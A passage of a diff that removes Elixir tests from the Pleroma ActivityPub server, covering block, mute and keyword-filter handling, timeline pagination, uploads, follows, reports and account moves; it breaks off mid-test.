- activities = ActivityPub.fetch_activities([], %{blocking_user: user, skip_preload: true}) - - assert Enum.member?(activities, activity_two) - assert Enum.member?(activities, activity_three) - refute Enum.member?(activities, activity_one) - - {:ok, _user_block} = User.unblock(user, %{ap_id: activity_one.data["actor"]}) - - activities = ActivityPub.fetch_activities([], %{blocking_user: user, skip_preload: true}) - - assert Enum.member?(activities, activity_two) - assert Enum.member?(activities, activity_three) - assert Enum.member?(activities, activity_one) - - {:ok, _user_relationship} = User.block(user, %{ap_id: activity_three.data["actor"]}) - {:ok, %{data: %{"object" => id}}} = CommonAPI.repeat(activity_three.id, booster) - %Activity{} = boost_activity = Activity.get_create_by_object_ap_id(id) - activity_three = Activity.get_by_id(activity_three.id) - - activities = ActivityPub.fetch_activities([], %{blocking_user: user, skip_preload: true}) - - assert Enum.member?(activities, activity_two) - refute Enum.member?(activities, activity_three) - refute Enum.member?(activities, boost_activity) - assert Enum.member?(activities, activity_one) - - activities = ActivityPub.fetch_activities([], %{blocking_user: nil, skip_preload: true}) - - assert Enum.member?(activities, activity_two) - assert Enum.member?(activities, activity_three) - assert Enum.member?(activities, boost_activity) - assert Enum.member?(activities, activity_one) - end - - test "doesn't return transitive interactions concerning blocked users" do - blocker = insert(:user) - blockee = insert(:user) - friend = insert(:user) - - {:ok, _user_relationship} = User.block(blocker, blockee) - - {:ok, activity_one} = CommonAPI.post(friend, %{status: "hey!"}) - - {:ok, activity_two} = CommonAPI.post(friend, %{status: "hey! @#{blockee.nickname}"}) - - {:ok, activity_three} = CommonAPI.post(blockee, %{status: "hey! @#{friend.nickname}"}) - - {:ok, activity_four} = CommonAPI.post(blockee, %{status: "hey! @#{blocker.nickname}"}) - - activities = ActivityPub.fetch_activities([], %{blocking_user: blocker}) - - assert Enum.member?(activities, activity_one) - refute Enum.member?(activities, activity_two) - refute Enum.member?(activities, activity_three) - refute Enum.member?(activities, activity_four) - end - - test "doesn't return announce activities with blocked users in 'to'" do - blocker = insert(:user) - blockee = insert(:user) - friend = insert(:user) - - {:ok, _user_relationship} = User.block(blocker, blockee) - - {:ok, activity_one} = CommonAPI.post(friend, %{status: "hey!"}) - - {:ok, activity_two} = CommonAPI.post(blockee, %{status: "hey! @#{friend.nickname}"}) - - {:ok, activity_three} = CommonAPI.repeat(activity_two.id, friend) - - activities = - ActivityPub.fetch_activities([], %{blocking_user: blocker}) - |> Enum.map(fn act -> act.id end) - - assert Enum.member?(activities, activity_one.id) - refute Enum.member?(activities, activity_two.id) - refute Enum.member?(activities, activity_three.id) - end - - test "doesn't return announce activities with blocked users in 'cc'" do - blocker = insert(:user) - blockee = insert(:user) - friend = insert(:user) - - {:ok, _user_relationship} = User.block(blocker, blockee) - - {:ok, activity_one} = CommonAPI.post(friend, %{status: "hey!"}) - - {:ok, activity_two} = CommonAPI.post(blockee, %{status: "hey! @#{friend.nickname}"}) - - assert object = Pleroma.Object.normalize(activity_two) - - data = %{ - "actor" => friend.ap_id, - "object" => object.data["id"], - "context" => object.data["context"], - "type" => "Announce", - "to" => ["https://www.w3.org/ns/activitystreams#Public"], - "cc" => [blockee.ap_id] - } - - assert {:ok, activity_three} = ActivityPub.insert(data) - - activities = - ActivityPub.fetch_activities([], %{blocking_user: blocker}) - |> Enum.map(fn act -> act.id end) - - assert Enum.member?(activities, activity_one.id) - refute Enum.member?(activities, activity_two.id) - refute Enum.member?(activities, activity_three.id) - end - - test "doesn't return activities from blocked domains" do - domain = "dogwhistle.zone" - domain_user = insert(:user, %{ap_id: "https://#{domain}/@pundit"}) - note = insert(:note, %{data: %{"actor" => domain_user.ap_id}}) - activity = insert(:note_activity, %{note: note}) - user = insert(:user) - {:ok, user} = User.block_domain(user, domain) - - activities = ActivityPub.fetch_activities([], %{blocking_user: user, skip_preload: true}) - - refute activity in activities - - followed_user = insert(:user) - CommonAPI.follow(user, followed_user) - {:ok, repeat_activity} = CommonAPI.repeat(activity.id, followed_user) - - activities = ActivityPub.fetch_activities([], %{blocking_user: user, skip_preload: true}) - - refute repeat_activity in activities - end - - test "does return activities from followed users on blocked domains" do - domain = "meanies.social" - domain_user = insert(:user, %{ap_id: "https://#{domain}/@pundit"}) - blocker = insert(:user) - - {:ok, blocker} = User.follow(blocker, domain_user) - {:ok, blocker} = User.block_domain(blocker, domain) - - assert User.following?(blocker, domain_user) - assert User.blocks_domain?(blocker, domain_user) - refute User.blocks?(blocker, domain_user) - - note = insert(:note, %{data: %{"actor" => domain_user.ap_id}}) - activity = insert(:note_activity, %{note: note}) - - activities = ActivityPub.fetch_activities([], %{blocking_user: blocker, skip_preload: true}) - - assert activity in activities - - # And check that if the guy we DO follow boosts someone else from their domain, - # that should be hidden - another_user = insert(:user, %{ap_id: "https://#{domain}/@meanie2"}) - bad_note = insert(:note, %{data: %{"actor" => another_user.ap_id}}) - bad_activity = insert(:note_activity, %{note: bad_note}) - {:ok, repeat_activity} = CommonAPI.repeat(bad_activity.id, domain_user) - - activities = ActivityPub.fetch_activities([], %{blocking_user: blocker, skip_preload: true}) - - refute repeat_activity in activities - end - - test "doesn't return muted activities" do - activity_one = insert(:note_activity) - activity_two = insert(:note_activity) - activity_three = insert(:note_activity) - user = insert(:user) - booster = insert(:user) - - activity_one_actor = User.get_by_ap_id(activity_one.data["actor"]) - {:ok, _user_relationships} = User.mute(user, activity_one_actor) - - activities = ActivityPub.fetch_activities([], %{muting_user: user, skip_preload: true}) - - assert Enum.member?(activities, activity_two) - assert Enum.member?(activities, activity_three) - refute Enum.member?(activities, activity_one) - - # Calling with 'with_muted' will deliver muted activities, too. - activities = - ActivityPub.fetch_activities([], %{ - muting_user: user, - with_muted: true, - skip_preload: true - }) - - assert Enum.member?(activities, activity_two) - assert Enum.member?(activities, activity_three) - assert Enum.member?(activities, activity_one) - - {:ok, _user_mute} = User.unmute(user, activity_one_actor) - - activities = ActivityPub.fetch_activities([], %{muting_user: user, skip_preload: true}) - - assert Enum.member?(activities, activity_two) - assert Enum.member?(activities, activity_three) - assert Enum.member?(activities, activity_one) - - activity_three_actor = User.get_by_ap_id(activity_three.data["actor"]) - {:ok, _user_relationships} = User.mute(user, activity_three_actor) - {:ok, %{data: %{"object" => id}}} = CommonAPI.repeat(activity_three.id, booster) - %Activity{} = boost_activity = Activity.get_create_by_object_ap_id(id) - activity_three = Activity.get_by_id(activity_three.id) - - activities = ActivityPub.fetch_activities([], %{muting_user: user, skip_preload: true}) - - assert Enum.member?(activities, activity_two) - refute Enum.member?(activities, activity_three) - refute Enum.member?(activities, boost_activity) - assert Enum.member?(activities, activity_one) - - activities = ActivityPub.fetch_activities([], %{muting_user: nil, skip_preload: true}) - - assert Enum.member?(activities, activity_two) - assert Enum.member?(activities, activity_three) - assert Enum.member?(activities, boost_activity) - assert Enum.member?(activities, activity_one) - end - - test "doesn't return thread muted activities" do - user = insert(:user) - _activity_one = insert(:note_activity) - note_two = insert(:note, data: %{"context" => "suya.."}) - activity_two = insert(:note_activity, note: note_two) - - {:ok, _activity_two} = CommonAPI.add_mute(user, activity_two) - - assert [_activity_one] = ActivityPub.fetch_activities([], %{muting_user: user}) - end - - test "returns thread muted activities when with_muted is set" do - user = insert(:user) - _activity_one = insert(:note_activity) - note_two = insert(:note, data: %{"context" => "suya.."}) - activity_two = insert(:note_activity, note: note_two) - - {:ok, _activity_two} = CommonAPI.add_mute(user, activity_two) - - assert [_activity_two, _activity_one] = - ActivityPub.fetch_activities([], %{muting_user: user, with_muted: true}) - end - - test "does include announces on request" do - activity_three = insert(:note_activity) - user = insert(:user) - booster = insert(:user) - - {:ok, user} = User.follow(user, booster) - - {:ok, announce} = CommonAPI.repeat(activity_three.id, booster) - - [announce_activity] = ActivityPub.fetch_activities([user.ap_id | User.following(user)]) - - assert announce_activity.id == announce.id - end - - test "excludes reblogs on request" do - user = insert(:user) - {:ok, expected_activity} = ActivityBuilder.insert(%{"type" => "Create"}, %{:user => user}) - {:ok, _} = ActivityBuilder.insert(%{"type" => "Announce"}, %{:user => user}) - - [activity] = ActivityPub.fetch_user_activities(user, nil, %{exclude_reblogs: true}) - - assert activity == expected_activity - end - - describe "irreversible filters" do - setup do - user = insert(:user) - user_two = insert(:user) - - insert(:filter, user: user_two, phrase: "cofe", hide: true) - insert(:filter, user: user_two, phrase: "ok boomer", hide: true) - insert(:filter, user: user_two, phrase: "test", hide: false) - - params = %{ - type: ["Create", "Announce"], - user: user_two - } - - {:ok, %{user: user, user_two: user_two, params: params}} - end - - test "it returns statuses if they don't contain exact filter words", %{ - user: user, - params: params - } do - {:ok, _} = CommonAPI.post(user, %{status: "hey"}) - {:ok, _} = CommonAPI.post(user, %{status: "got cofefe?"}) - {:ok, _} = CommonAPI.post(user, %{status: "I am not a boomer"}) - {:ok, _} = CommonAPI.post(user, %{status: "ok boomers"}) - {:ok, _} = CommonAPI.post(user, %{status: "ccofee is not a word"}) - {:ok, _} = CommonAPI.post(user, %{status: "this is a test"}) - - activities = ActivityPub.fetch_activities([], params) - - assert Enum.count(activities) == 6 - end - - test "it does not filter user's own statuses", %{user_two: user_two, params: params} do - {:ok, _} = CommonAPI.post(user_two, %{status: "Give me some cofe!"}) - {:ok, _} = CommonAPI.post(user_two, %{status: "ok boomer"}) - - activities = ActivityPub.fetch_activities([], params) - - assert Enum.count(activities) == 2 - end - - test "it excludes statuses with filter words", %{user: user, params: params} do - {:ok, _} = CommonAPI.post(user, %{status: "Give me some cofe!"}) - {:ok, _} = CommonAPI.post(user, %{status: "ok boomer"}) - {:ok, _} = CommonAPI.post(user, %{status: "is it a cOfE?"}) - {:ok, _} = CommonAPI.post(user, %{status: "cofe is all I need"}) - {:ok, _} = CommonAPI.post(user, %{status: "— ok BOOMER\n"}) - - activities = ActivityPub.fetch_activities([], params) - - assert Enum.empty?(activities) - end - - test "it returns all statuses if user does not have any filters" do - another_user = insert(:user) - {:ok, _} = CommonAPI.post(another_user, %{status: "got cofe?"}) - {:ok, _} = CommonAPI.post(another_user, %{status: "test!"}) - - activities = - ActivityPub.fetch_activities([], %{ - type: ["Create", "Announce"], - user: another_user - }) - - assert Enum.count(activities) == 2 - end - end - - describe "public fetch activities" do - test "doesn't retrieve unlisted activities" do - user = insert(:user) - - {:ok, _unlisted_activity} = CommonAPI.post(user, %{status: "yeah", visibility: "unlisted"}) - - {:ok, listed_activity} = CommonAPI.post(user, %{status: "yeah"}) - - [activity] = ActivityPub.fetch_public_activities() - - assert activity == listed_activity - end - - test "retrieves public activities" do - _activities = ActivityPub.fetch_public_activities() - - %{public: public} = ActivityBuilder.public_and_non_public() - - activities = ActivityPub.fetch_public_activities() - assert length(activities) == 1 - assert Enum.at(activities, 0) == public - end - - test "retrieves a maximum of 20 activities" do - ActivityBuilder.insert_list(10) - expected_activities = ActivityBuilder.insert_list(20) - - activities = ActivityPub.fetch_public_activities() - - assert collect_ids(activities) == collect_ids(expected_activities) - assert length(activities) == 20 - end - - test "retrieves ids starting from a since_id" do - activities = ActivityBuilder.insert_list(30) - expected_activities = ActivityBuilder.insert_list(10) - since_id = List.last(activities).id - - activities = ActivityPub.fetch_public_activities(%{since_id: since_id}) - - assert collect_ids(activities) == collect_ids(expected_activities) - assert length(activities) == 10 - end - - test "retrieves ids up to max_id" do - ActivityBuilder.insert_list(10) - expected_activities = ActivityBuilder.insert_list(20) - - %{id: max_id} = - 10 - |> ActivityBuilder.insert_list() - |> List.first() - - activities = ActivityPub.fetch_public_activities(%{max_id: max_id}) - - assert length(activities) == 20 - assert collect_ids(activities) == collect_ids(expected_activities) - end - - test "paginates via offset/limit" do - _first_part_activities = ActivityBuilder.insert_list(10) - second_part_activities = ActivityBuilder.insert_list(10) - - later_activities = ActivityBuilder.insert_list(10) - - activities = ActivityPub.fetch_public_activities(%{page: "2", page_size: "20"}, :offset) - - assert length(activities) == 20 - - assert collect_ids(activities) == - collect_ids(second_part_activities) ++ collect_ids(later_activities) - end - - test "doesn't return reblogs for users for whom reblogs have been muted" do - activity = insert(:note_activity) - user = insert(:user) - booster = insert(:user) - {:ok, _reblog_mute} = CommonAPI.hide_reblogs(user, booster) - - {:ok, activity} = CommonAPI.repeat(activity.id, booster) - - activities = ActivityPub.fetch_activities([], %{muting_user: user}) - - refute Enum.any?(activities, fn %{id: id} -> id == activity.id end) - end - - test "returns reblogs for users for whom reblogs have not been muted" do - activity = insert(:note_activity) - user = insert(:user) - booster = insert(:user) - {:ok, _reblog_mute} = CommonAPI.hide_reblogs(user, booster) - {:ok, _reblog_mute} = CommonAPI.show_reblogs(user, booster) - - {:ok, activity} = CommonAPI.repeat(activity.id, booster) - - activities = ActivityPub.fetch_activities([], %{muting_user: user}) - - assert Enum.any?(activities, fn %{id: id} -> id == activity.id end) - end - end - - describe "uploading files" do - setup do - test_file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image.jpg"), - filename: "an_image.jpg" - } - - %{test_file: test_file} - end - - test "sets a description if given", %{test_file: file} do - {:ok, %Object{} = object} = ActivityPub.upload(file, description: "a cool file") - assert object.data["name"] == "a cool file" - end - - test "it sets the default description depending on the configuration", %{test_file: file} do - clear_config([Pleroma.Upload, :default_description]) - - Pleroma.Config.put([Pleroma.Upload, :default_description], nil) - {:ok, %Object{} = object} = ActivityPub.upload(file) - assert object.data["name"] == "" - - Pleroma.Config.put([Pleroma.Upload, :default_description], :filename) - {:ok, %Object{} = object} = ActivityPub.upload(file) - assert object.data["name"] == "an_image.jpg" - - Pleroma.Config.put([Pleroma.Upload, :default_description], "unnamed attachment") - {:ok, %Object{} = object} = ActivityPub.upload(file) - assert object.data["name"] == "unnamed attachment" - end - - test "copies the file to the configured folder", %{test_file: file} do - clear_config([Pleroma.Upload, :default_description], :filename) - {:ok, %Object{} = object} = ActivityPub.upload(file) - assert object.data["name"] == "an_image.jpg" - end - - test "works with base64 encoded images" do - file = %{ - img: data_uri() - } - - {:ok, %Object{}} = ActivityPub.upload(file) - end - end - - describe "fetch the latest Follow" do - test "fetches the latest Follow activity" do - %Activity{data: %{"type" => "Follow"}} = activity = insert(:follow_activity) - follower = Repo.get_by(User, ap_id: activity.data["actor"]) - followed = Repo.get_by(User, ap_id: activity.data["object"]) - - assert activity == Utils.fetch_latest_follow(follower, followed) - end - end - - describe "unfollowing" do - test "it reverts unfollow activity" do - follower = insert(:user) - followed = insert(:user) - - {:ok, _, _, follow_activity} = CommonAPI.follow(follower, followed) - - with_mock(Utils, [:passthrough], maybe_federate: fn _ -> {:error, :reverted} end) do - assert {:error, :reverted} = ActivityPub.unfollow(follower, followed) - end - - activity = Activity.get_by_id(follow_activity.id) - assert activity.data["type"] == "Follow" - assert activity.data["actor"] == follower.ap_id - - assert activity.data["object"] == followed.ap_id - end - - test "creates an undo activity for the last follow" do - follower = insert(:user) - followed = insert(:user) - - {:ok, _, _, follow_activity} = CommonAPI.follow(follower, followed) - {:ok, activity} = ActivityPub.unfollow(follower, followed) - - assert activity.data["type"] == "Undo" - assert activity.data["actor"] == follower.ap_id - - embedded_object = activity.data["object"] - assert is_map(embedded_object) - assert embedded_object["type"] == "Follow" - assert embedded_object["object"] == followed.ap_id - assert embedded_object["id"] == follow_activity.data["id"] - end - - test "creates an undo activity for a pending follow request" do - follower = insert(:user) - followed = insert(:user, %{locked: true}) - - {:ok, _, _, follow_activity} = CommonAPI.follow(follower, followed) - {:ok, activity} = ActivityPub.unfollow(follower, followed) - - assert activity.data["type"] == "Undo" - assert activity.data["actor"] == follower.ap_id - - embedded_object = activity.data["object"] - assert is_map(embedded_object) - assert embedded_object["type"] == "Follow" - assert embedded_object["object"] == followed.ap_id - assert embedded_object["id"] == follow_activity.data["id"] - end - end - - describe "timeline post-processing" do - test "it filters broken threads" do - user1 = insert(:user) - user2 = insert(:user) - user3 = insert(:user) - - {:ok, user1} = User.follow(user1, user3) - assert User.following?(user1, user3) - - {:ok, user2} = User.follow(user2, user3) - assert User.following?(user2, user3) - - {:ok, user3} = User.follow(user3, user2) - assert User.following?(user3, user2) - - {:ok, public_activity} = CommonAPI.post(user3, %{status: "hi 1"}) - - {:ok, private_activity_1} = CommonAPI.post(user3, %{status: "hi 2", visibility: "private"}) - - {:ok, private_activity_2} = - CommonAPI.post(user2, %{ - status: "hi 3", - visibility: "private", - in_reply_to_status_id: private_activity_1.id - }) - - {:ok, private_activity_3} = - CommonAPI.post(user3, %{ - status: "hi 4", - visibility: "private", - in_reply_to_status_id: private_activity_2.id - }) - - activities = - ActivityPub.fetch_activities([user1.ap_id | User.following(user1)]) - |> Enum.map(fn a -> a.id end) - - private_activity_1 = Activity.get_by_ap_id_with_object(private_activity_1.data["id"]) - - assert [public_activity.id, private_activity_1.id, private_activity_3.id] == activities - - assert length(activities) == 3 - - activities = - ActivityPub.fetch_activities([user1.ap_id | User.following(user1)], %{user: user1}) - |> Enum.map(fn a -> a.id end) - - assert [public_activity.id, private_activity_1.id] == activities - assert length(activities) == 2 - end - end - - describe "flag/1" do - setup do - reporter = insert(:user) - target_account = insert(:user) - content = "foobar" - {:ok, activity} = CommonAPI.post(target_account, %{status: content}) - context = Utils.generate_context_id() - - reporter_ap_id = reporter.ap_id - target_ap_id = target_account.ap_id - activity_ap_id = activity.data["id"] - - activity_with_object = Activity.get_by_ap_id_with_object(activity_ap_id) - - {:ok, - %{ - reporter: reporter, - context: context, - target_account: target_account, - reported_activity: activity, - content: content, - activity_ap_id: activity_ap_id, - activity_with_object: activity_with_object, - reporter_ap_id: reporter_ap_id, - target_ap_id: target_ap_id - }} - end - - test "it can create a Flag activity", - %{ - reporter: reporter, - context: context, - target_account: target_account, - reported_activity: reported_activity, - content: content, - activity_ap_id: activity_ap_id, - activity_with_object: activity_with_object, - reporter_ap_id: reporter_ap_id, - target_ap_id: target_ap_id - } do - assert {:ok, activity} = - ActivityPub.flag(%{ - actor: reporter, - context: context, - account: target_account, - statuses: [reported_activity], - content: content - }) - - note_obj = %{ - "type" => "Note", - "id" => activity_ap_id, - "content" => content, - "published" => activity_with_object.object.data["published"], - "actor" => - AccountView.render("show.json", %{user: target_account, skip_visibility_check: true}) - } - - assert %Activity{ - actor: ^reporter_ap_id, - data: %{ - "type" => "Flag", - "content" => ^content, - "context" => ^context, - "object" => [^target_ap_id, ^note_obj] - } - } = activity - end - - test_with_mock "strips status data from Flag, before federating it", - %{ - reporter: reporter, - context: context, - target_account: target_account, - reported_activity: reported_activity, - content: content - }, - Utils, - [:passthrough], - [] do - {:ok, activity} = - ActivityPub.flag(%{ - actor: reporter, - context: context, - account: target_account, - statuses: [reported_activity], - content: content - }) - - new_data = - put_in(activity.data, ["object"], [target_account.ap_id, reported_activity.data["id"]]) - - assert_called(Utils.maybe_federate(%{activity | data: new_data})) - end - end - - test "fetch_activities/2 returns activities addressed to a list " do - user = insert(:user) - member = insert(:user) - {:ok, list} = Pleroma.List.create("foo", user) - {:ok, list} = Pleroma.List.follow(list, member) - - {:ok, activity} = CommonAPI.post(user, %{status: "foobar", visibility: "list:#{list.id}"}) - - activity = Repo.preload(activity, :bookmark) - activity = %Activity{activity | thread_muted?: !!activity.thread_muted?} - - assert ActivityPub.fetch_activities([], %{user: user}) == [activity] - end - - def data_uri do - File.read!("test/fixtures/avatar_data_uri") - end - - describe "fetch_activities_bounded" do - test "fetches private posts for followed users" do - user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: "thought I looked cute might delete later :3", - visibility: "private" - }) - - [result] = ActivityPub.fetch_activities_bounded([user.follower_address], []) - assert result.id == activity.id - end - - test "fetches only public posts for other users" do - user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{status: "#cofe", visibility: "public"}) - - {:ok, _private_activity} = - CommonAPI.post(user, %{ - status: "why is tenshi eating a corndog so cute?", - visibility: "private" - }) - - [result] = ActivityPub.fetch_activities_bounded([], [user.follower_address]) - assert result.id == activity.id - end - end - - describe "fetch_follow_information_for_user" do - test "syncronizes following/followers counters" do - user = - insert(:user, - local: false, - follower_address: "http://localhost:4001/users/fuser2/followers", - following_address: "http://localhost:4001/users/fuser2/following" - ) - - {:ok, info} = ActivityPub.fetch_follow_information_for_user(user) - assert info.follower_count == 527 - assert info.following_count == 267 - end - - test "detects hidden followers" do - mock(fn env -> - case env.url do - "http://localhost:4001/users/masto_closed/followers?page=1" -> - %Tesla.Env{status: 403, body: ""} - - _ -> - apply(HttpRequestMock, :request, [env]) - end - end) - - user = - insert(:user, - local: false, - follower_address: "http://localhost:4001/users/masto_closed/followers", - following_address: "http://localhost:4001/users/masto_closed/following" - ) - - {:ok, follow_info} = ActivityPub.fetch_follow_information_for_user(user) - assert follow_info.hide_followers == true - assert follow_info.hide_follows == false - end - - test "detects hidden follows" do - mock(fn env -> - case env.url do - "http://localhost:4001/users/masto_closed/following?page=1" -> - %Tesla.Env{status: 403, body: ""} - - _ -> - apply(HttpRequestMock, :request, [env]) - end - end) - - user = - insert(:user, - local: false, - follower_address: "http://localhost:4001/users/masto_closed/followers", - following_address: "http://localhost:4001/users/masto_closed/following" - ) - - {:ok, follow_info} = ActivityPub.fetch_follow_information_for_user(user) - assert follow_info.hide_followers == false - assert follow_info.hide_follows == true - end - - test "detects hidden follows/followers for friendica" do - user = - insert(:user, - local: false, - follower_address: "http://localhost:8080/followers/fuser3", - following_address: "http://localhost:8080/following/fuser3" - ) - - {:ok, follow_info} = ActivityPub.fetch_follow_information_for_user(user) - assert follow_info.hide_followers == true - assert follow_info.follower_count == 296 - assert follow_info.following_count == 32 - assert follow_info.hide_follows == true - end - - test "doesn't crash when follower and following counters are hidden" do - mock(fn env -> - case env.url do - "http://localhost:4001/users/masto_hidden_counters/following" -> - json(%{ - "@context" => "https://www.w3.org/ns/activitystreams", - "id" => "http://localhost:4001/users/masto_hidden_counters/followers" - }) - - "http://localhost:4001/users/masto_hidden_counters/following?page=1" -> - %Tesla.Env{status: 403, body: ""} - - "http://localhost:4001/users/masto_hidden_counters/followers" -> - json(%{ - "@context" => "https://www.w3.org/ns/activitystreams", - "id" => "http://localhost:4001/users/masto_hidden_counters/following" - }) - - "http://localhost:4001/users/masto_hidden_counters/followers?page=1" -> - %Tesla.Env{status: 403, body: ""} - end - end) - - user = - insert(:user, - local: false, - follower_address: "http://localhost:4001/users/masto_hidden_counters/followers", - following_address: "http://localhost:4001/users/masto_hidden_counters/following" - ) - - {:ok, follow_info} = ActivityPub.fetch_follow_information_for_user(user) - - assert follow_info.hide_followers == true - assert follow_info.follower_count == 0 - assert follow_info.hide_follows == true - assert follow_info.following_count == 0 - end - end - - describe "fetch_favourites/3" do - test "returns a favourite activities sorted by adds to favorite" do - user = insert(:user) - other_user = insert(:user) - user1 = insert(:user) - user2 = insert(:user) - {:ok, a1} = CommonAPI.post(user1, %{status: "bla"}) - {:ok, _a2} = CommonAPI.post(user2, %{status: "traps are happy"}) - {:ok, a3} = CommonAPI.post(user2, %{status: "Trees Are "}) - {:ok, a4} = CommonAPI.post(user2, %{status: "Agent Smith "}) - {:ok, a5} = CommonAPI.post(user1, %{status: "Red or Blue "}) - - {:ok, _} = CommonAPI.favorite(user, a4.id) - {:ok, _} = CommonAPI.favorite(other_user, a3.id) - {:ok, _} = CommonAPI.favorite(user, a3.id) - {:ok, _} = CommonAPI.favorite(other_user, a5.id) - {:ok, _} = CommonAPI.favorite(user, a5.id) - {:ok, _} = CommonAPI.favorite(other_user, a4.id) - {:ok, _} = CommonAPI.favorite(user, a1.id) - {:ok, _} = CommonAPI.favorite(other_user, a1.id) - result = ActivityPub.fetch_favourites(user) - - assert Enum.map(result, & &1.id) == [a1.id, a5.id, a3.id, a4.id] - - result = ActivityPub.fetch_favourites(user, %{limit: 2}) - assert Enum.map(result, & &1.id) == [a1.id, a5.id] - end - end - - describe "Move activity" do - test "create" do - %{ap_id: old_ap_id} = old_user = insert(:user) - %{ap_id: new_ap_id} = new_user = insert(:user, also_known_as: [old_ap_id]) - follower = insert(:user) - follower_move_opted_out = insert(:user, allow_following_move: false) - - User.follow(follower, old_user) - User.follow(follower_move_opted_out, old_user) - - assert User.following?(follower, old_user) - assert User.following?(follower_move_opted_out, old_user) - - assert {:ok, activity} = ActivityPub.move(old_user, new_user) - - assert %Activity{ - actor: ^old_ap_id, - data: %{ - "actor" => ^old_ap_id, - "object" => ^old_ap_id, - "target" => ^new_ap_id, - "type" => "Move" - }, - local: true - } = activity - - params = %{ - "op" => "move_following", - "origin_id" => old_user.id, - "target_id" => new_user.id - } - - assert_enqueued(worker: Pleroma.Workers.BackgroundWorker, args: params) - - Pleroma.Workers.BackgroundWorker.perform(%Oban.Job{args: params}) - - refute User.following?(follower, old_user) - assert User.following?(follower, new_user) - - assert User.following?(follower_move_opted_out, old_user) - refute User.following?(follower_move_opted_out, new_user) - - activity = %Activity{activity | object: nil} - - assert [%Notification{activity: ^activity}] = Notification.for_user(follower) - - assert [%Notification{activity: ^activity}] = Notification.for_user(follower_move_opted_out) - end - - test "old user must be in the new user's `also_known_as` list" do - old_user = insert(:user) - new_user = insert(:user) - - assert {:error, "Target account must have the origin in `alsoKnownAs`"} = - ActivityPub.move(old_user, new_user) - end - end - - test "doesn't retrieve replies activities with exclude_replies" do - user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "yeah"}) - - {:ok, _reply} = CommonAPI.post(user, %{status: "yeah", in_reply_to_status_id: activity.id}) - - [result] = ActivityPub.fetch_public_activities(%{exclude_replies: true}) - - assert result.id == activity.id - - assert length(ActivityPub.fetch_public_activities()) == 2 - end - - describe "replies filtering with public messages" do - setup :public_messages - - test "public timeline", %{users: %{u1: user}} do - activities_ids = - %{} - |> Map.put(:type, ["Create", "Announce"]) - |> Map.put(:local_only, false) - |> Map.put(:blocking_user, user) - |> Map.put(:muting_user, user) - |> Map.put(:reply_filtering_user, user) - |> ActivityPub.fetch_public_activities() - |> Enum.map(& &1.id) - - assert length(activities_ids) == 16 - end - - test "public timeline with reply_visibility `following`", %{ - users: %{u1: user}, - u1: u1, - u2: u2, - u3: u3, - u4: u4, - activities: activities - } do - activities_ids = - %{} - |> Map.put(:type, ["Create", "Announce"]) - |> Map.put(:local_only, false) - |> Map.put(:blocking_user, user) - |> Map.put(:muting_user, user) - |> Map.put(:reply_visibility, "following") - |> Map.put(:reply_filtering_user, user) - |> ActivityPub.fetch_public_activities() - |> Enum.map(& &1.id) - - assert length(activities_ids) == 14 - - visible_ids = - Map.values(u1) ++ Map.values(u2) ++ Map.values(u4) ++ Map.values(activities) ++ [u3[:r1]] - - assert Enum.all?(visible_ids, &(&1 in activities_ids)) - end - - test "public timeline with reply_visibility `self`", %{ - users: %{u1: user}, - u1: u1, - u2: u2, - u3: u3, - u4: u4, - activities: activities - } do - activities_ids = - %{} - |> Map.put(:type, ["Create", "Announce"]) - |> Map.put(:local_only, false) - |> Map.put(:blocking_user, user) - |> Map.put(:muting_user, user) - |> Map.put(:reply_visibility, "self") - |> Map.put(:reply_filtering_user, user) - |> ActivityPub.fetch_public_activities() - |> Enum.map(& &1.id) - - assert length(activities_ids) == 10 - visible_ids = Map.values(u1) ++ [u2[:r1], u3[:r1], u4[:r1]] ++ Map.values(activities) - assert Enum.all?(visible_ids, &(&1 in activities_ids)) - end - - test "home timeline", %{ - users: %{u1: user}, - activities: activities, - u1: u1, - u2: u2, - u3: u3, - u4: u4 - } do - params = - %{} - |> Map.put(:type, ["Create", "Announce"]) - |> Map.put(:blocking_user, user) - |> Map.put(:muting_user, user) - |> Map.put(:user, user) - |> Map.put(:reply_filtering_user, user) - - activities_ids = - ActivityPub.fetch_activities([user.ap_id | User.following(user)], params) - |> Enum.map(& &1.id) - - assert length(activities_ids) == 13 - - visible_ids = - Map.values(u1) ++ - Map.values(u3) ++ - [ - activities[:a1], - activities[:a2], - activities[:a4], - u2[:r1], - u2[:r3], - u4[:r1], - u4[:r2] - ] - - assert Enum.all?(visible_ids, &(&1 in activities_ids)) - end - - test "home timeline with reply_visibility `following`", %{ - users: %{u1: user}, - activities: activities, - u1: u1, - u2: u2, - u3: u3, - u4: u4 - } do - params = - %{} - |> Map.put(:type, ["Create", "Announce"]) - |> Map.put(:blocking_user, user) - |> Map.put(:muting_user, user) - |> Map.put(:user, user) - |> Map.put(:reply_visibility, "following") - |> Map.put(:reply_filtering_user, user) - - activities_ids = - ActivityPub.fetch_activities([user.ap_id | User.following(user)], params) - |> Enum.map(& &1.id) - - assert length(activities_ids) == 11 - - visible_ids = - Map.values(u1) ++ - [ - activities[:a1], - activities[:a2], - activities[:a4], - u2[:r1], - u2[:r3], - u3[:r1], - u4[:r1], - u4[:r2] - ] - - assert Enum.all?(visible_ids, &(&1 in activities_ids)) - end - - test "home timeline with reply_visibility `self`", %{ - users: %{u1: user}, - activities: activities, - u1: u1, - u2: u2, - u3: u3, - u4: u4 - } do - params = - %{} - |> Map.put(:type, ["Create", "Announce"]) - |> Map.put(:blocking_user, user) - |> Map.put(:muting_user, user) - |> Map.put(:user, user) - |> Map.put(:reply_visibility, "self") - |> Map.put(:reply_filtering_user, user) - - activities_ids = - ActivityPub.fetch_activities([user.ap_id | User.following(user)], params) - |> Enum.map(& &1.id) - - assert length(activities_ids) == 9 - - visible_ids = - Map.values(u1) ++ - [ - activities[:a1], - activities[:a2], - activities[:a4], - u2[:r1], - u3[:r1], - u4[:r1] - ] - - assert Enum.all?(visible_ids, &(&1 in activities_ids)) - end - - test "filtering out announces where the user is the actor of the announced message" do - user = insert(:user) - other_user = insert(:user) - third_user = insert(:user) - User.follow(user, other_user) - - {:ok, post} = CommonAPI.post(user, %{status: "yo"}) - {:ok, other_post} = CommonAPI.post(third_user, %{status: "yo"}) - {:ok, _announce} = CommonAPI.repeat(post.id, other_user) - {:ok, _announce} = CommonAPI.repeat(post.id, third_user) - {:ok, announce} = 